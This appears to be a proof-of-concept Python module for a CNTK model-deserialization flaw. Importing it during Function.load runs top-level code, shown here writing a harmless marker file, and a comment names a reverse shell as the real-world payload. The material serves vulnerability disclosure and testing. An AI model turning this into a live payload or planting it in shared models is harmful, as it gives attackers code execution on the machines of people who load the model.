"""
Attacker-controlled module referenced by a malicious CNTK model file.

When a victim calls cntk.Function.load(<malicious model>), CNTK's UDF
deserializer runs:  exec("from evil_udf import EvilUDF")
Importing this module executes the top-level code below = RCE proof.
"""
import os

# --- payload: proof of code execution on model load ---
_marker = os.path.join(os.path.dirname(os.path.abspath(__file__)), "PWNED_CNTK.txt")
with open(_marker, "w") as _f:
    _f.write("CNTK UserFunction deserialization RCE: evil_udf imported on Function.load\n")
    _f.write("cwd=%s\n" % os.getcwd())
# On a real target this would be os.system('calc') / reverse shell, etc.

from cntk.ops.functions import UserFunction
from cntk import output_variable


class EvilUDF(UserFunction):
    def __init__(self, arg, name='EvilUDF'):
        super(EvilUDF, self).__init__([arg], name=name)

    def forward(self, argument, device=None, outputs_to_retain=None):
        return None, argument

    def backward(self, state, root_gradients):
        return root_gradients

    def infer_outputs(self):
        return [output_variable(self.inputs[0].shape,
                                self.inputs[0].dtype,
                                self.inputs[0].dynamic_axes)]

    def serialize(self):
        return {}

    @staticmethod
    def deserialize(inputs, name, state):
        return EvilUDF(inputs[0], name)